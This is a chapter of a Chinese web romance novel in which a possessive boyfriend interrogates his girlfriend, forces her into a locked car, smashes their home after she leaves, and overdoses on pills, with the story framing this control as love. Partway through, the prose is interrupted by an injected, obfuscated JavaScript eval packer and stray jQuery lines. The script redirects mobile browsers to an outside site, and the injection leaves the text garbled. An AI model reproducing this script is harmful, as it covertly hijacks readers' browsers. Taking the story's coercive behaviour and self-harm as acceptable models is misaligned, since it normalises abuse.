13. 第13张照片

作品:《危险恋人[强取豪夺]

    千瑶心上漏了一拍,攥着围巾的手紧了紧。


    她不知道为什么,此刻有种无形的压迫感。


    甚至是惧怕。


    这一闪而过的情绪,是突如其来的。


    应斯年没察觉到她的变化,“我得回公司一趟,还有工作没完成,先走了。”


    “好,再见。”


    千瑶反应过来,挥手告别。


    应斯年走后,她见到邵柏修还在那个路口。


    她小跑过去,风吹着她的头发,微微散乱。


    她站在他面前,对他微笑,“邵柏修,你怎么来了。”


    “他是谁?”


    邵柏修视线停留在应斯年的背影上。


    “你说应斯年,他是我的读者,也是这次改编的男主角。”


    他笑了,“所以你这一个下午加晚上都跟他在一起。”


    千瑶点头。


    邵柏修压下心头的怒火,“我给你打了多少个电话?”


    “为什么不接?”


    “电话?”


    她懵了。


    “怕我影响你们?千瑶,到底谁才是你的男朋友?”


    千瑶见他情绪逐渐有点失控,她僵在了原地。


    “不是的。”


    她拿出手机,按了几下,手机没电关机了。


    “我手机没电了,不是故意不接你电话的。”她解释道。


    千瑶焦急,她一时和人聊得投机,没时间看手机,连关机了都不知道。


    她也不知道邵柏修在找她。


    “和他聊这么开心,电话不接,信息不回。”


    “你说你在谈工作,那已经谈完了,为什么还要和他继续待在一起?”


    一连串的质问劈头盖脸的下来,让千瑶感觉到窒息。


    邵柏修松开领口,摘下眼镜扔进车里。


    看着她脖子上的黑色围巾碍眼极了,伸手解下。


    “你做什么!”


    邵柏修攥在手里,千瑶想去拿回来。他举得高,她垫脚也抢不到。


    他看见旁边的一个垃圾桶,将这团碍眼的东西扔进去。


    千瑶气死了,“你乱扔什么?这是人家的东西,我到时候要还回去的。”


    她见到垃圾桶里还有一截围巾角漏出,她就要上前去拿出来。


    结果腰被揽住,打横抱起。


    将她塞入后座,直接被摔蒙了,下一瞬车门就锁了。


    驾驶座上的邵柏修一踩油门,差点颠得她摔下。


    “你不讲道理,邵柏修,你在生什么气?”


    她不理解,他好好的就像变了个人。


    “那个围巾我给你买,你想要多少条都有,我扔了你就这么着急?”


    “他送的就宝贝成这个样子。”


    千瑶觉得不可理喻,“我不是不回家,我只是和他谈完工作,一起吃了个饭。”


    “那条围巾是他觉得我冷,暂时借给我的。”


    “我和他只是朋友,你别误会了。”


    车开得很快,她有些害怕,抓住了一旁的把手。


    千瑶看他沉默,路灯的光照在他冰冷的下颌线,嘴唇抿成一条线。


    邵柏修手打着方向盘,手腕还戴着她上回买的腕表。


    沉默在车内蔓延,气氛降到了冰点。


    等到了家,车门解锁。


    千瑶打开车门,走得特别快。


    冲上了房间,砰——一声关上门。


    她越想越气,越想越气。


    她又没有错,是邵柏修过分了,他自己误会了,还对她发火。


    千瑶给手机充电,拿来自己的行李箱。


    将衣柜里的衣服全部塞进去,桌上的护肤品一扫而空。


    瓶瓶罐罐的,顾不上什么分类。


    手机充好电后,划开就是二十多通电话,全都来自邵柏修。


    微信消息轰炸,全是在问她在哪里,做什么,跟谁在一起。


    千瑶想起他刚刚无理的行为,简直跟疯了没两样。


    她提起行李箱就要走,下楼后,王妈着急地看着她,“小姐你去哪儿?”


    邵柏修坐在沙发上,看着她的举动。


    视线盯着她手头的行李箱,没说一句话。


    千瑶忽视他的视线,对王妈说:“去看不到他的地方。”


    邵柏修手臂绷紧了,眼神阴沉。


    她打开门,没有回头。


    “先生,先生,这,太晚了小姐一个人出去,她......”


    邵柏修闭上眼,心中的暴虐烈火焚烧,看着她消失在眼帘。


    拿起手边的杯子,砸在地上,碎裂成渣。


    “行了,王妈你也走吧。”


    王妈看着地上的碎片,骇然一震。


    她也不多留,直接离开了。


    忽地,手机跳出一条消息。


    【林木子:她在我这里。】


    邵柏修扫了一眼,拿起手机也扔进鱼缸里。


    手机在水里下沉。


    他站起,目光停留在电视机旁的棒球棍上。


    抄起棒球棍,暴虐的情绪翻涌。


    一棍下去将电视机砸得稀巴烂,长木桌砸了个窟窿。


    解开了自己的衣领,崩坏了领口的袖子。


    砰——


    玻璃崩碎,鱼缸的水簌簌直流,飞溅的玻璃割伤了他的眼尾。


    血从邵柏修的眼尾流下,一条血线缓慢下滑,逐渐红了半张俊脸。


    他笑得癫狂,拖着棒球棍。


    棒球棍在地上发出咯吱的声音。


    邵柏修歪着头,看着这些东西。


    相框全摔了。


    酒柜里上千万的酒顷刻间砸得粉碎,红色的酒液在大理石地面流淌。


    宛若一滩滩血。


    目之所及,皆是狼藉。


    能看到一切,都砸得七零八碎。


    没有一个是完好的。


    手上被玻璃扎得鲜血直流,他握着棒球棍,棍上都是血。


    眼睛宛若崩裂,捡起他和千瑶的合照。


    邵柏修抚摸着那张照片,他笑得温柔,她也是笑得满眼都是他。


    他将照片捂在胸口,笑得诡异而抽搐。


    直直地倒在地上,周围就是锋利的玻璃,他就像没有知觉。


    抱着它,就像在抱着她。


    邵柏修手在不停颤抖,从口袋里缓慢得拿出了一瓶药。


    直接倒在手心,也没数。


    没有兑水,一口咽了下去。


    他微笑地闭上眼,昏睡了过去。


    -


    “骆总,这,开不了。”


    “把门砸了。”


    门被砸开,骆远见到客厅地面躺着一个人。


    地上一片狼藉,碎片到处都是。


    邵柏修浑身都是血,手边的药瓶滚落。


    一只手覆在胸前的照片上。


    “我去,要死啊。”


    骆远看向身后,“赶紧赶紧,医生——”


    等到邵柏修醒来的时候,已经在房间了。


    骆远在沙发上玩手机,正打得火热,与对面那厮对骂。


    他察觉床上有动静,瞥了一眼。


    “哟,没死啊。”


    “你怎么在这儿?”


    骆远一个不小心,放错技能直接gameover。


    他叹了口气,放下手机。


    邵柏修的眼神冷漠,手上被缠了绷带,眉骨处贴了个创口贴。


    “你以为我想来,要不是签约联系不到你,我才懒得上门。”


    “一开门你就给我个惊喜,知不知道照顾我这个幼小的心灵。”


    他捂着胸口,“很受伤的。”


    邵柏修打开手机,她没有给他发任何消息。


    他垂了垂眼眸,有些黯淡。


    “你跟她......吵架了?”


    “不过千千这个性子,一般和她吵不起来吧,你对人家做了什么?”


    邵柏修冷冷地看了他一眼,骆远撇了撇嘴。


    “虽然我知道是你们两人的事,但是我还是要劝你一句,别把人家逼太急了。”


    “会吓到她的,循序渐进。”


    骆远双手交叠,枕着脑袋,“我竟然不知道你对千千是这个心思,有意思。”


    骆远


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183210|196984||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    扭头冲他一笑,“我不赞同你的很多做法,不过能把握到手里的,就牢牢掌握住。”


    “我的意思是,千万别让她跑了。”


    “她跑不了。”


    另一边。


    千瑶愤恨地码字。


    现在的情绪全都化作工作的动力,令人厌恶的反派,令人不爽的反派。


    全部被捅刀。


    捅捅捅。


    捅死去!


    林木子看着一旁敲键盘敲得跟电报似得,连连害怕。


    “那个......”


    “已拉黑邵柏修。”


    好吧,她闭嘴。


    等到晚上,千瑶喝了点小酒,抱着林木子不撒手。


    “木子啊木子,你是我最好的朋友。”


    她哭得鼻涕直流,抽了好多张纸,“只有你收留我......”


    “呜呜呜......我就知道你不会见死不救的,邵柏修那个狗,给我滚!”


    千瑶翻身而起,站得笔直,还打了个酒嗝。


    忽然报幕:


    “给主播点点关注,感谢姐姐的包养。接下来有请千瑶同学,为林木子女士表演扫腿舞。”


    她伸出自己的腿,白皙修长。


    扫啊扫,扫啊扫


    “欸,行行行,别扫地了。”林木子扶额。


    难以言喻地看着她表演,辣眼睛。


    她以为这就完了。


    直到——


    凌晨时分。


    “你问我爱你有多深,我爱你有几分......”


    千瑶捧着话筒甜甜一笑,弯腰致谢。


    一只手还拿着红酒,一口闷下。


    “谢谢大家,来听我的演唱会。”


    林木子捂着耳朵,她要爆炸了。


    她从来没过千瑶能疯成这样。


    这是喝了多少,平常的酒量就不好,现在喝了这么多。


    林木子白天已经偷偷藏起了酒,不知道怎么的就被她找到了。


    她也是服了。


    “欸,这位粉丝,你有福了。”


    千瑶朦胧的双眼直接锁定她。


    “有福利哦。”


    林木子顺着她,“什么福利,乖,先从桌上下来。”


    “我会倒立洗头哦,我现在就给你表演。”千瑶眼睛亮了。


    林木子晕。


    千瑶这个症状只持续了一天。


    第二天,她主动收拾好她弄乱的东西,乖巧得不像话。


    林木子反倒觉得更不对劲了。


    “木子,我觉得呢,人不一定要谈恋爱。斯坦尼夫斯拉基曾经说过,女人要独立自主,要财富自由。不要耽于情爱,失了自我。”


    “什么垃圾?”


    “斯坦尼夫斯拉基。”


    “哦哦。”


    千瑶抱着一本书,像幽灵一样,缓缓地走回了卧室。


    房门关闭,林木子总算松了口气。


    她没有酗酒,也没有大吵大闹,这会儿应该困了,自己会睡觉的。


    忽地,从房间里传出轻微的哭泣声。


    林木子原本要离开的脚顿时停住了,她悄悄地打开门,探了个脑袋。


    窗帘被关得严严实实,室内一片漆黑,千瑶蜷缩在一个角落。


    她环抱着膝盖,在默默地哭泣。


    “怎么了?”


    林木子心上一紧,环抱住她。


    千瑶脑袋靠在她的肩头,头发遮住她的神情。


    她委屈得不行,一直在流泪。


    “都是他的错,他自己误会了......”


    林木子心疼,“对,都是邵柏修的问题。不过你们到底发生了什么事情?”


    千瑶带着哭腔,将事情的前因后果都跟她说了。


    她越说越伤心,邵柏修太过分了。


    她点开微信,上边都是他在追问。


    还有电话,一连打了二十多个,正常人谁会这样。


    林木子揉了揉她的脑袋,“千千,你们是情侣正常矛盾,吵个小架而已,我以为你们分手呢。”


    “你说得对,我现在就要分手......”